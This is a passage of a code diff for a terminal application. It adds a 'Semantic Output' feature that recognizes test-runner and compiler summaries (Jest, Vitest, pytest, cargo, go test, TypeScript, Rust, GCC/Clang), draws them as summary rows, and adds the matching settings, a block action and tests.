(?!Console\b)(.+)$/u, match => match[1]!); + return {kind: 'tests', source: 'Jest', outcome: (failed ?? 0) > 0 ? 'failed' : 'passed', + overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['skipped', part('skipped')], ['todo', part('todo')]]), ...failing}; +}; + +/** Vitest's `Tests` summary line (`2 failed | 40 passed (42)`) and its FAIL lines. */ +const vitest: Recognizer = (_command, lines) => { + const summary = findLast(lines, line => /^\s+Tests\s+(?:\d+ \w+(?: \| )?)+\s*\(\d+\)$/u.test(line)); + if (!summary || !lines.some(line => /^\s*Test Files\s+/u.test(line))) return undefined; + const part = (name: string) => number(new RegExp(`(\\d[\\d,]*) ${name}`, 'u').exec(summary)?.[1]); + const failed = part('failed'); + const failing = collect(lines, /^\s*FAIL\s+(.+?)\s*$/u, match => match[1]!); + return {kind: 'tests', source: 'Vitest', outcome: (failed ?? 0) > 0 ? 'failed' : 'passed', + overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['skipped', part('skipped')], ['todo', part('todo')]]), ...failing}; +}; + +/** pytest's closing `=== 1 failed, 3 passed in 0.12s ===` line and its short summary. */ +const pytest: Recognizer = (_command, lines) => { + const summary = findLast(lines, line => /^=+ (?:\d+ \w+(?:, )?)+ in [\d.]+s(?: \([\d:]+\))? =+$/u.test(line)); + if (!summary) return undefined; + const part = (name: string) => number(new RegExp(`(\\d+) ${name}`, 'u').exec(summary)?.[1]); + const failed = part('failed'); + const errors = part('errors?'); + const failing = collect(lines, /^(?:FAILED|ERROR) (\S+)(?: - (.*))?$/u, match => match[2] ? `${match[1]} - ${match[2]}` : match[1]!); + return {kind: 'tests', source: 'pytest', outcome: (failed ?? 0) + (errors ?? 0) > 0 ? 'failed' : 'passed', + overview: facts([['passed', part('passed') ?? 0], ['failed', failed ?? 0], ['errors', errors], ['skipped', part('skipped')], ['xfailed', part('xfailed')]]), ...failing}; +}; + +/** cargo test's `test result:` lines (one per test binary; summed). */ +const cargoTest: Recognizer = (_command, lines) => { + const results = lines.map(line => /^test result: (?:ok|FAILED)\. (\d+) passed; (\d+) failed; (\d+) ignored;/u.exec(line)).filter(match => match !== null); + if (!results.length) return undefined; + const sum = (index: number) => results.reduce((total, match) => total + Number(match[index]), 0); + const failing = collect(lines, /^test (\S+) \.\.\. FAILED$/u, match => match[1]!); + return {kind: 'tests', source: 'cargo test', outcome: sum(2) > 0 ? 'failed' : 'passed', + overview: facts([['passed', sum(1)], ['failed', sum(2)], ['ignored', sum(3) || undefined]]), ...failing}; +}; + +/** go test's per-package `ok` / `FAIL` lines and `--- FAIL:` tests. */ +const goTest: Recognizer = (command, lines) => { + if (!/^\s*(?:\S+\/)?go\s+test\b/u.test(command)) return undefined; + const ok = lines.filter(line => /^ok\s+\S+\s+(?:[\d.]+s|\(cached\))/u.test(line)).length; + const failedPackages = lines.filter(line => /^FAIL\s+\S+\s+(?:[\d.]+s|\[build failed\]|\[setup failed\])/u.test(line)).length; + if (!ok && !failedPackages) return undefined; + const failing = collect(lines, /^\s*--- FAIL: (\S+)/u, match => match[1]!); + return {kind: 'tests', source: 'go test', outcome: failedPackages > 0 ? 'failed' : 'passed', + overview: `${plural(ok, 'package')} ok · ${plural(failedPackages, 'package')} failed${failing.items.length ? ` · ${plural(failing.items.length + failing.omitted, 'failing test')}` : ''}`, ...failing}; +}; + +/** Commands that compile or check code: their diagnostics are the point even when they exit 0. */ +const BUILD = /^\s*(?:\S+\/)?(?:tsc|npx\s+tsc|vue-tsc|gcc|g\+\+|cc|c\+\+|clang|clang\+\+|make|ninja|cmake|cargo\s+(?:build|check|clippy|run|test)|rustc|swift\s+build|xcodebuild|go\s+(?:build|vet)|(?:npm|pnpm|yarn|bun)\s+(?:run\s+)?(?:build|typecheck|check|lint|compile|tsc))\b/u; + +/** TypeScript: `file(1,2): error TS…` or pretty `file:1:2 - error TS…`, and tsc's `Found N errors` line. */ +const typescript: Recognizer = (command, lines, exitCode) => { + const pattern = /^(\S.*?)(?:\((\d+),(\d+)\): | ?:(\d+):(\d+) - )(error|warning) (TS\d+): (.*)$/u; + const found = findLast(lines, line => /^Found \d+ errors?(?: in .+)?\.?$/u.test(line)); + if (!found && !lines.some(line => pattern.test(line))) return undefined; + if (!found && exitCode === 0 && !BUILD.test(command)) return undefined; + const items = collect(lines, pattern, match => `${match[1]}:${match[2] ?? match[4]}:${match[3] ?? match[5]} ${match[7]}: ${match[8]}`); + const errors = number(found ? /^Found (\d+) errors?/u.exec(found)?.[1] : undefined) ?? items.items.length + items.omitted; + const files = found ? /in (\d+) files/u.exec(found)?.[1] : undefined; + return {kind: 'diagnostics', source: 'TypeScript', outcome: errors > 0 ? 'failed' : 'passed', + overview: `${plural(errors, 'error')}${files ? ` in ${files} files` : ''}`, ...items}; +}; + +/** Rust: `error[E0308]: …` / `warning: …` headings with their ` --> file:line:col` location. */ +const rust: Recognizer = (command, lines, exitCode) => { + if (!lines.some(line => /^\s*--> \S+:\d+:\d+$/u.test(line))) return undefined; + if (exitCode === 0 && !BUILD.test(command)) return undefined; + const items: SemanticItem[] = []; + let omitted = 0; + let errors = 0; + let warnings = 0; + for (let index = 0; index < lines.length; index += 1) { + const heading = /^(error|warning)(\[E\d{4}\])?: (.+)$/u.exec(lines[index]!); + if (!heading || /^(?:could not compile|aborting due to|`.+` \(.+\) generated \d+ warnings?)/u.test(heading[3]!)) continue; + const location = /^\s*--> (\S+:\d+:\d+)$/u.exec(lines[index + 1] ?? '')?.[1]; + if (!location) continue; + if (heading[1] === 'error') errors += 1; else warnings += 1; + const text = `${location} ${heading[1]}${heading[2] ?? ''}: ${heading[3]}`; + if (items.length < MAX_ITEMS) items.push({text, tone: heading[1] === 'error' ? 'failure' : 'warning'}); else omitted += 1; + } + if (!errors && !warnings) return undefined; + return {kind: 'diagnostics', source: 'Rust', outcome: errors > 0 ? 'failed' : 'passed', + overview: [errors ? plural(errors, 'error') : '', warnings ? plural(warnings, 'warning') : ''].filter(Boolean).join(' · '), items, omitted}; +}; + +/** GCC and Clang: `file:line:col: error: …` lines. */ +const cCompilers: Recognizer = (command, lines, exitCode) => { + const pattern = /^(\S+?:\d+:\d+): (fatal error|error|warning): (.+)$/u; + if (!lines.some(line => pattern.test(line))) return undefined; + if (exitCode === 0 && !BUILD.test(command)) return undefined; + let errors = 0; + let warnings = 0; + for (const line of lines) { + const match = pattern.exec(line); + if (match) { if (match[2] === 'warning') warnings += 1; else errors += 1; } + } + const failures = collect(lines, pattern, match => `${match[1]} ${match[2]}: ${match[3]}`); + for (const item of failures.items) if (/ warning: /u.test(item.text)) item.tone = 'warning'; + return {kind: 'diagnostics', source: 'GCC/Clang', outcome: errors > 0 ? 'failed' : 'passed', + overview: [errors ? plural(errors, 'error') : '', warnings ? plural(warnings, 'warning') : ''].filter(Boolean).join(' · '), ...failures}; +}; + +/** Most specific first: a runner's summary wins over diagnostics that happen to appear in its output. */ +const RECOGNIZERS: readonly Recognizer[] = [nodeTest, jest, vitest, pytest, cargoTest, goTest, typescript, rust, cCompilers]; + +/** The semantic reading of a completed output, or undefined when no recognizer is sure. */ +export function recognizeOutput(command: string, output: string, exitCode: number): SemanticResult | undefined { + if (!output) return undefined; + const complete = output.length <= MAX_SEMANTIC_BYTES; + const text = complete ? output : output.slice(-MAX_SEMANTIC_BYTES); + const lines = text.split('\n').map(line => line.replace(/\r$/u, '').replace(/\s+$/u, '')); + for (const recognizer of RECOGNIZERS) { + const result = recognizer(command, lines, exitCode); + if (result) return {...result, complete}; + } + return undefined; +} + +/** Plain text of a reading, for `/copy --semantic` and `--both`: everything, whatever is folded on screen. */ +export function semanticText(result: SemanticResult): string { + const lines = [`${result.source}: ${result.overview}`, ...result.items.map(item => item.text)]; + if (result.omitted) lines.push(`… ${count(result.omitted)} more in the raw output`); + if (!result.complete) lines.push('(read from the last 2 MiB of a longer output)'); + return lines.join('\n'); +} diff --git a/src/output/semanticRows.ts b/src/output/semanticRows.ts new file mode 100644 index 00000000..bc8f085e --- /dev/null +++ b/src/output/semanticRows.ts @@ -0,0 +1,47 @@ +import {colorLevel} from '../presentation/capabilities.js'; +import {GLYPHS, getCurrentGlyphMode} from '../ui/glyphs.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {truncateText} from '../util/text.js'; +import type {SemanticResult} from './semantic.js'; +import type {WrappedRow} from './viewport.js'; + +/** + * How a Semantic Output reading is drawn inside its block (#386): one overview row, then, when the reading lists + * failures or diagnostics, a disclosure row and (open) the items. The rows are derived presentation: never stored + * transcript lines, never in raw search, selection or /copy (which copy the output as it was). + */ + +const RESET = '\u001b[0m'; +const inert = (text: string) => text.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}\p{Zl}\p{Zp}]/gu, '·'); + +function itemLabel(result: SemanticResult): string { + const total = result.items.length + result.omitted; + if (result.kind === 'tests') return `${total.toLocaleString('en-US')} failing test${total === 1 ? '' : 's'}`; + return `${total.toLocaleString('en-US')} diagnostic${total === 1 ? '' : 's'}`; +} + +export function semanticRows(result: SemanticResult, open: boolean, width: number, owner: {lineIndex: number; commandIndex: number; startId: number}): WrappedRow[] { + const color = colorLevel() !== 'none'; + const paint = (role: keyof typeof UI_COLORS) => color ? foreground(UI_COLORS[role]) : ''; + const passed = result.outcome === 'passed'; + const icon = passed ? GLYPHS.success : GLYPHS.failure; + const base = {lineIndex: owner.lineIndex, commandIndex: owner.commandIndex, isSemantic: true as const}; + const overviewPlain = truncateText(` ${icon} ${result.source} · ${result.overview}${result.complete ? '' : ' · from the end of the output'}`, width); + const rows: WrappedRow[] = [{...base, plain: overviewPlain, + ansi: `${paint(passed ? 'success' : 'failure')}${overviewPlain.slice(0, 2 + icon.length + 1)}${RESET}${paint('secondary')}${overviewPlain.slice(2 + icon.length + 1)}${RESET}`}]; + if (!result.items.length) return rows; + const marker = open ? (getCurrentGlyphMode() === 'nerd' ? '⌄' : 'v') : GLYPHS.selection; + const disclosure = truncateText(` ${marker} ${itemLabel(result)}${open ? '' : ' · click or Actions to show'}`, width); + rows.push({...base, plain: disclosure, ansi: `${paint('subtle')}${disclosure}${RESET}`, semanticToggle: owner.startId}); + if (!open) return rows; + for (const item of result.items) { + const mark = item.tone === 'failure' ? GLYPHS.failure : '!'; + const plain = truncateText(` ${mark} ${inert(item.text)}`, width); + rows.push({...base, plain, ansi: `${paint(item.tone === 'failure' ? 'failure' : 'warning')}${plain.slice(0, 4 + mark.length)}${RESET}${plain.slice(4 + mark.length)}`}); + } + if (result.omitted) { + const plain = truncateText(` … ${result.omitted.toLocaleString('en-US')} more in the output below`, width); + rows.push({...base, plain, ansi: `${paint('subtle')}${plain}${RESET}`}); + } + return rows; +} diff --git a/src/output/viewport.ts b/src/output/viewport.ts index 1dabbbab..0cc72b4a 100644 --- a/src/output/viewport.ts +++ b/src/output/viewport.ts @@ -20,6 +20,10 @@ export interface WrappedRow { isFilterHint?: boolean; /** A row of the first-run welcome (0 is Vespyr's block above it), so the ending can reveal it line by line. */ firstRunLine?: number; + /** A Semantic Output row: derived presentation, never transcript content (skipped by search, selection and copy). */ + isSemantic?: boolean; + /** Clicking this row opens or closes the Semantic Output details of the block with this startId. */ + semanticToggle?: number; } export interface StickyHeader { diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 7c174942..9fe28ccf 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -619,6 +619,8 @@ export interface PromptConfiguration { liveSessionMultiple: LiveSessionMultiple; /** Whether long, boring finished output starts collapsed. Presentation only. */ outputFolding: OutputFoldingMode; + /** Semantic Output: a test or build summary drawn in recognized blocks (#386). Presentation only; Off draws raw only. */ + semanticOutput: boolean; /** What new presentation sessions show at the top; archived sessions keep theirs. */ welcome: WelcomeProviderId; /** Ghost-text suggestion provider; external providers fall back to Native. */ @@ -865,6 +867,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { liveSessionMultiple: 'ask', notifications: {...DEFAULT_NOTIFICATION_SETTINGS}, outputFolding: 'smart', + semanticOutput: true, welcome: 'vespyr', suggestions: 'nmsh', history: 'native', @@ -986,6 +989,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio ? value.liveSessionMultiple as LiveSessionMultiple : 'ask'; // Off persists as `never`, so v0.4 configs load unchanged. const outputFolding: OutputFoldingMode = value.outputFolding === 'never' || value.outputFolding === 'always' ? value.outputFolding : 'smart'; + const semanticOutput = value.semanticOutput !== false; const welcome: WelcomeProviderId = WELCOME_PROVIDER_IDS.includes(value.welcome as WelcomeProviderId) ? value.welcome as WelcomeProviderId : 'vespyr'; const suggestions: SuggestionProviderId = SUGGESTION_PROVIDER_IDS.includes(value.suggestions as SuggestionProviderId) @@ -1069,7 +1073,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio if (!Array.isArray(value.modules)) { return {...structuredClone(DEFAULT_PROMPT_CONFIGURATION), provider, onboardingComplete: value.onboardingComplete === true, - toolsSetupComplete, glyphStyle, glyphChoiceComplete, onboardingBackdrop, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, + toolsSetupComplete, glyphStyle, glyphChoiceComplete, onboardingBackdrop, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, semanticOutput, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, presentation, nmsh, starship: {configPath: starshipConfigPath}, powerlevel10k, ohMyPosh, transcript, syntax, notifications, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, spacing, gap, separator, ...themed}; } @@ -1129,7 +1133,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio return {provider, onboardingComplete: value.onboardingComplete === true, toolsSetupComplete, - glyphStyle, glyphChoiceComplete, onboardingBackdrop, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, presentation, nmsh, transcript, syntax, notifications, powerlevel10k, ohMyPosh, + glyphStyle, glyphChoiceComplete, onboardingBackdrop, sessionRetention, updateMode, updateFrequency, liveSessionStartup, liveSessionMultiple, outputFolding, semanticOutput, welcome, suggestions, history, picker, navigation, suggestionsOnEmpty, presentation, nmsh, transcript, syntax, notifications, powerlevel10k, ohMyPosh, starship: {configPath: starshipConfigPath}, placement, composerLayout, composerPosition, panelPosition, transcriptPresentation, composerDividers: value.composerDividers !== false, modules, separator, spacing, gap, ...themed}; } diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index 348a2e88..6b876774 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -369,6 +369,7 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('dividerDensity')}, {row: configRow('dividerColors'), note: () => 'Live composer dividers follow Divider lines (Look, under Chroma); past dividers never move'}, {row: configRow('outputFolding')}, + {row: configRow('semanticOutput')}, ]}, {id: 'history', title: 'History & navigation', intro: ['NMSh Native covers history, directory jumps and picking.', 'External providers are optional alternatives.'], rows: [ providerRow('setupHistory', 'History', 'Command history source', 'History', HISTORY_PROVIDERS, diff --git a/src/ui/BlockActions.ts b/src/ui/BlockActions.ts index 8ec19081..a6e7bba4 100644 --- a/src/ui/BlockActions.ts +++ b/src/ui/BlockActions.ts @@ -5,7 +5,7 @@ import {displayWidth} from '../util/text.js'; import {recordCopyText} from '../clipboard/copySelection.js'; import {findOutputReferences} from '../output/references.js'; -export type BlockActionId = 'copyCommand' | 'copyOutput' | 'copyBoth' | 'copyReport' | 'compare' | 'view' | 'pager' | 'rerun' | 'edit' | 'fold' | 'explain' | 'references' | 'pin' | 'clipCommand' | 'clipOutput'; +export type BlockActionId = 'copyCommand' | 'copyOutput' | 'copyBoth' | 'copyReport' | 'compare' | 'view' | 'details' | 'pager' | 'rerun' | 'edit' | 'fold' | 'explain' | 'references' | 'pin' | 'clipCommand' | 'clipOutput'; /** One registry for both pointer-opened and keyboard-opened block palettes. */ export const BLOCK_ACTIONS: readonly {id: BlockActionId; label: string; detail: string}[] = [ {id: 'copyCommand', label: 'Copy command', detail: 'Stored plain command'}, @@ -13,6 +13,7 @@ export const BLOCK_ACTIONS: readonly {id: BlockActionId; label: string; detail: {id: 'copyBoth', label: 'Copy command + output', detail: 'Stored plain command and full output'}, {id: 'copyReport', label: 'Copy as report…', detail: 'Command, status, exit code, duration and output as Markdown or plain text; reviewed first'}, {id: 'compare', label: 'Compare output…', detail: 'With the previous run of this command, or another block you choose'}, + {id: 'details', label: 'Show or hide details', detail: 'The failing tests or diagnostics Semantic Output read from this output; the output is unchanged'}, {id: 'view', label: 'View output', detail: "Full stored output in NMSh's viewer: find, line numbers, wrap; read-only"}, {id: 'pager', label: 'Open in pager', detail: 'Command and full stored output in your pager (less), read-only'}, {id: 'rerun', label: 'Rerun command', detail: 'Explicitly submit a visible command in the current shell directory'}, @@ -25,10 +26,11 @@ export const BLOCK_ACTIONS: readonly {id: BlockActionId; label: string; detail: {id: 'explain', label: 'Explain failure', detail: "Why it failed, from this block's own output (read-only)"}, ]; -export function blockPaletteItems(record: CompletedCommand): PaletteItem[] { - // Explain failure is offered only on failed blocks, and references only when the output has some. +export function blockPaletteItems(record: CompletedCommand, options: {details?: boolean} = {}): PaletteItem[] { + // Explain failure is offered only on failed blocks, references only when the output has some, and details only when + // Semantic Output listed failures or diagnostics for this block. const hasReferences = findOutputReferences(record).length > 0; - return BLOCK_ACTIONS.filter(action => (action.id !== 'explain' || (record.exitCode ?? 0) !== 0) && (action.id !== 'references' || hasReferences)).map(action => ({id: `block:${record.startId}:${action.id}`, label: action.label, + return BLOCK_ACTIONS.filter(action => (action.id !== 'explain' || (record.exitCode ?? 0) !== 0) && (action.id !== 'references' || hasReferences) && (action.id !== 'details' || options.details)).map(action => ({id: `block:${record.startId}:${action.id}`, label: action.label, detail: action.detail, category: 'Transcript', action: {kind: 'block', id: action.id, startId: record.startId}})); } diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index 035aac0a..4a551602 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -411,6 +411,8 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ enumRow({id: 'outputFolding', level: 'advanced', label: 'Output folding', description: 'Off, Smart (long repetitive successes), or Always (every long block)', category: 'Transcript', values: OUTPUT_FOLDING_MODES, labels: ['Off', 'Smart', 'Always'], get: config => config.outputFolding, set: (config, outputFolding) => ({...config, outputFolding})}), + {id: 'semanticOutput', label: 'Semantic Output', description: 'A one-line test or build summary (counts as the tool printed them) and the failures or diagnostics it listed, in recognized blocks. The output itself is unchanged; Off shows raw output only', + category: 'Transcript', control: 'boolean', get: config => config.semanticOutput, set: (config, semanticOutput) => ({...config, semanticOutput})}, enumRow({id: 'updateMode', label: 'Automatic updates', description: 'Automatic prepares verified releases for the next launch (official source installs only); Notify only announces them; Off never checks. /update works on request', category: 'Updates', values: UPDATE_MODES, labels: ['Automatic', 'Notify only', 'Off'], get: config => config.updateMode, set: (config, updateMode) => ({...config, updateMode})}), @@ -679,7 +681,7 @@ export const CONFIG_GROUP_BY_ID: Readonly> = { reducedMotion: 'Cursor & Motion', effectsOff: 'Cursor & Motion', shellBackend: 'Shell & Providers', suggestions: 'Shell & Providers', localUnderstanding: 'Local Understanding', - askRecord: 'Transcript & Privacy', askPresentation: 'Transcript & Privacy', outputFolding: 'Transcript & Privacy', + askRecord: 'Transcript & Privacy', askPresentation: 'Transcript & Privacy', outputFolding: 'Transcript & Privacy', semanticOutput: 'Transcript & Privacy', }; export const CONFIG_GROUP_BY_CATEGORY: Readonly> = { General: 'General', Updates: 'General', @@ -716,7 +718,7 @@ const CONFIG_ORDER: readonly string[] = [ 'sessionNotices', 'terminalTitle', 'agentActivity', 'notifications', 'shellBackend', 'welcome', 'suggestions', 'history', 'picker', 'navigation', 'tools', 'toolUpdateChecks', 'installSuggestions', 'localUnderstanding', - 'askRecord', 'askPresentation', 'outputFolding', + 'askRecord', 'askPresentation', 'outputFolding', 'semanticOutput', ]; const groupRank = (row: SettingsRow) => CONFIG_GROUPS.indexOf(configGroup(row)); /** Sort key: group, the root's place in CONFIG_ORDER, the root's own position, then the row's (so a child stays under its parent). */ diff --git a/tests/blockActions.test.ts b/tests/blockActions.test.ts index a04c50fe..33c15c19 100644 --- a/tests/blockActions.test.ts +++ b/tests/blockActions.test.ts @@ -23,7 +23,8 @@ function dispose(app: TerminalApp) { app['stop'](0); app['session'].kill(); } test('one block registry supplies keyboard palette actions and copies authoritative full plain data', () => { const output = new OutputBuffer(); const record = fixture(output); - const passive = BLOCK_ACTIONS.filter(action => action.id !== 'explain' && action.id !== 'references'); + // Conditional actions: explain (failed blocks), references (output with some), details (a Semantic Output listing). + const passive = BLOCK_ACTIONS.filter(action => action.id !== 'explain' && action.id !== 'references' && action.id !== 'details'); assert.deepEqual(blockPaletteItems(record).map(item => item.action.kind === 'block' && item.action.id), passive.map(action => action.id)); assert.ok(passive.some(action => action.id === 'clipCommand')); assert.ok(passive.some(action => action.id === 'clipOutput')); diff --git a/tests/semanticOutput.test.ts b/tests/semanticOutput.test.ts new file mode 100644 index 00000000..d4f05e52 --- /dev/null +++ b/tests/semanticOutput.test.ts @@ -0,0 +1,166 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {MAX_ITEMS, recognizeOutput, semanticText} from '../src/output/semantic.js'; + +const lines = (...rows: string[]) => rows.join('\n'); + +test('node --test (spec reporter): counts as printed; failing tests from its failing-tests section', () => { + const passing = recognizeOutput('npm test', lines('▶ suite', ' ✔ a (0.1ms)', '✔ suite (0.5ms)', 'ℹ tests 1797', 'ℹ suites 3', 'ℹ pass 1772', 'ℹ fail 0', + 'ℹ cancelled 0', 'ℹ skipped 25', 'ℹ todo 0', 'ℹ duration_ms 8400.1'), 0); + assert.deepEqual({source: passing?.source, outcome: passing?.outcome, overview: passing?.overview, items: passing?.items}, + {source: 'node --test', outcome: 'passed', overview: '1,772 passed · 0 failed · 25 skipped', items: []}); + const failing = recognizeOutput('node --test', lines('✔ ok test (1ms)', '✖ broken test (2ms)', ' AssertionError [ERR_ASSERTION]: Expected values to be strictly equal:', + 'ℹ tests 2', 'ℹ pass 1', 'ℹ fail 1', 'ℹ cancelled 0', 'ℹ skipped 0', 'ℹ todo 0', '', '✖ failing tests:', '', 'test at tests/a.test.ts:3:1', + '✖ broken test (2ms)', ' AssertionError [ERR_ASSERTION]: Expected values to be strictly equal:'), 1); + assert.equal(failing?.outcome, 'failed'); + assert.equal(failing?.overview, '1 passed · 1 failed'); + assert.deepEqual(failing?.items, [{text: 'broken test', tone: 'failure'}]); +}); + +test('TAP: the # summary and top-level not ok lines (TODO and SKIP are not failures)', () => { + const result = recognizeOutput('node --test --test-reporter=tap', lines('TAP version 13', 'ok 1 - a', 'not ok 2 - b', ' ---', ' ...', + 'not ok 3 - later # TODO', '1..3', '# tests 3', '# pass 1', '# fail 1', '# todo 1'), 1); + assert.equal(result?.overview, '1 passed · 1 failed · 1 todo'); + assert.deepEqual(result?.items.map(item => item.text), ['b']); +}); + +test('Jest, Vitest and pytest: their own summary lines and failure headings', () => { + const jest = recognizeOutput('npx jest', lines('FAIL src/a.test.js', ' ● Math › adds', '', ' expect(received).toBe(expected)', ' ● Console', 'PASS src/b.test.js', + 'Test Suites: 1 failed, 1 passed, 2 total', 'Tests: 1 failed, 1 skipped, 10 passed, 12 total'), 1); + assert.equal(jest?.source, 'Jest'); + assert.equal(jest?.overview, '10 passed · 1 failed · 1 skipped'); + assert.deepEqual(jest?.items.map(item => item.text), ['Math › adds']); + const vitest = recognizeOutput('npx vitest run', lines(' FAIL src/a.test.ts > math > adds', 'AssertionError: expected 3 to be 4', ' Test Files 1 failed | 2 passed (3)', + ' Tests 1 failed | 10 passed (11)'), 1); + assert.equal(vitest?.source, 'Vitest'); + assert.equal(vitest?.overview, '10 passed · 1 failed'); + assert.deepEqual(vitest?.items.map(item => item.text), ['src/a.test.ts > math > adds']); + const pytest = recognizeOutput('pytest -q', lines('..F.', '=========================== short test summary info ============================', + 'FAILED tests/test_a.py::test_x - assert 1 == 2', '========================= 1 failed, 3 passed, 2 skipped in 0.12s ========================='), 1); + assert.equal(pytest?.overview, '3 passed · 1 failed · 2 skipped'); + assert.deepEqual(pytest?.items.map(item => item.text), ['tests/test_a.py::test_x - assert 1 == 2']); +}); + +test('cargo test sums its test binaries; go test counts packages and failing tests', () => { + const cargo = recognizeOutput('cargo test', lines('running 3 tests', 'test a::one ... ok', 'test a::two ... FAILED', 'test a::three ... ignored', + 'test result: FAILED. 1 passed; 1 failed; 1 ignored; 0 measured; 0 filtered out; finished in 0.01s', 'running 2 tests', + 'test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s'), 101); + assert.equal(cargo?.overview, '3 passed · 1 failed · 1 ignored'); + assert.deepEqual(cargo?.items.map(item => item.text), ['a::two']); + const go = recognizeOutput('go test ./...', lines('--- FAIL: TestFoo (0.00s)', ' foo_test.go:9: want 1, got 2', 'FAIL', 'FAIL\texample.com/a\t0.004s', + 'ok \texample.com/b\t0.003s', 'ok \texample.com/c\t(cached)', '? \texample.com/d\t[no test files]'), 1); + assert.equal(go?.overview, '2 packages ok · 1 package failed · 1 failing test'); + assert.deepEqual(go?.items.map(item => item.text), ['TestFoo']); +}); + +test('compiler diagnostics: TypeScript (pretty and plain), Rust headings with locations, GCC/Clang', () => { + const pretty = recognizeOutput('npx tsc --noEmit', lines("src/a.ts:3:7 - error TS2322: Type 'number' is not assignable to type 'string'.", '', + '3 const x: string = 1;', ' ~', '', "src/b.ts(10,1): error TS2304: Cannot find name 'y'.", 'Found 2 errors in 2 files.'), 2); + assert.equal(pretty?.source, 'TypeScript'); + assert.equal(pretty?.overview, '2 errors in 2 files'); + assert.deepEqual(pretty?.items.map(item => item.text), ["src/a.ts:3:7 TS2322: Type 'number' is not assignable to type 'string'.", "src/b.ts:10:1 TS2304: Cannot find name 'y'."]); + const rust = recognizeOutput('cargo build', lines('warning: unused variable: `x`', ' --> src/main.rs:2:9', ' |', 'error[E0308]: mismatched types', + ' --> src/main.rs:4:18', 'error: could not compile `demo` (bin "demo") due to 1 previous error; 1 warning emitted'), 101); + assert.equal(rust?.overview, '1 error · 1 warning'); + assert.deepEqual(rust?.items, [{text: 'src/main.rs:2:9 warning: unused variable: `x`', tone: 'warning'}, {text: 'src/main.rs:4:18 error[E0308]: mismatched types', tone: 'failure'}]); + const clang = recognizeOutput('make', lines("src/a.c:3:5: error: use of undeclared identifier 'x'", 'src/a.c:4:1: warning: control reaches end of non-void function', + '1 warning and 1 error generated.'), 2); + assert.equal(clang?.source, 'GCC/Clang'); + assert.equal(clang?.overview, '1 error · 1 warning'); + assert.equal(clang?.items[1]?.tone, 'warning'); +}); + +test('fails closed: incomplete summaries, look-alike text from non-build commands, and plain output read as nothing', () => { + assert.equal(recognizeOutput('cat notes.txt', lines('# tests 2', '# fail 0'), 0), undefined, 'no pass count: not a summary'); + assert.equal(recognizeOutput('rg error', "src/a.c:3:5: error: quoted in a search result", 0), undefined, 'a successful search is not a build'); + assert.equal(recognizeOutput('git status', lines('On branch main', 'nothing to commit, working tree clean'), 0), undefined); + assert.equal(recognizeOutput('echo', '', 0), undefined); + assert.equal(recognizeOutput('go version', 'ok \texample.com/a\t0.1s', 0), undefined, 'go test lines only from go test'); + // A failing non-build command that printed compiler diagnostics still gets them (the failure makes them relevant). + assert.equal(recognizeOutput('./build.sh', "src/a.c:3:5: error: x", 1)?.source, 'GCC/Clang'); +}); + +test('items are bounded, deduplicated and counted; very large output is read from its end and says so; text export', () => { + const many = Array.from({length: 30}, (_, index) => `src/f${index}.c:1:1: error: bad ${index}`); + const result = recognizeOutput('make', lines(...many, ...many), 2)!; + assert.equal(result.items.length, MAX_ITEMS); + assert.equal(result.omitted, 10, 'duplicates are not counted twice'); + assert.equal(result.overview, '60 errors', 'the overview counts every diagnostic line printed'); + const text = semanticText(result); + assert.match(text, /^GCC\/Clang: 60 errors\nsrc\/f0\.c:1:1 error: bad 0\n/u); + assert.match(text, /… 10 more in the raw output$/u); + const huge = recognizeOutput('npm test', `${'x'.repeat(3 * 1024 * 1024)}\nℹ tests 1\nℹ pass 1\nℹ fail 0`, 0)!; + assert.equal(huge.complete, false); + assert.match(semanticText(huge), /read from the last 2 MiB/u); +}); + +// ---- Presentation and copy ------------------------------------------------------------------------------------------ + +import {OutputBuffer} from '../src/output/OutputBuffer.js'; +import {logicalLines} from '../src/output/TranscriptSearch.js'; +import {parseCopyArgs, semanticCopyPayload} from '../src/clipboard/copySelection.js'; + +function block(buffer: OutputBuffer, command: string, output: string, exitCode: number) { + buffer.beginCommand(command, [`$ ${command}`]); + buffer.write(output.replace(/\n/gu, '\r\n')); + return buffer.complete(exitCode)!; +} +const passingRun = lines(...Array.from({length: 12}, (_, index) => `✔ test ${index} (1ms)`), 'ℹ tests 12', 'ℹ pass 12', 'ℹ fail 0', ''); +const failingRun = lines('✔ ok (1ms)', '✖ broken one (2ms)', '✖ broken two (2ms)', 'ℹ tests 3', 'ℹ pass 1', 'ℹ fail 2', '', '✖ failing tests:', '✖ broken one (2ms)', '✖ broken two (2ms)', ''); + +test('presentation: an overview row inside the block, details by the raw fold, nothing stored and nothing searchable', () => { + const buffer = new OutputBuffer(); + const pass = block(buffer, 'npm test', passingRun, 0); + const before = JSON.stringify(buffer.transcript().lines); + const rows = buffer.wrapped(100); + const overview = rows.filter(row => row.isSemantic); + assert.deepEqual(overview.map(row => row.plain), [' ✔ node 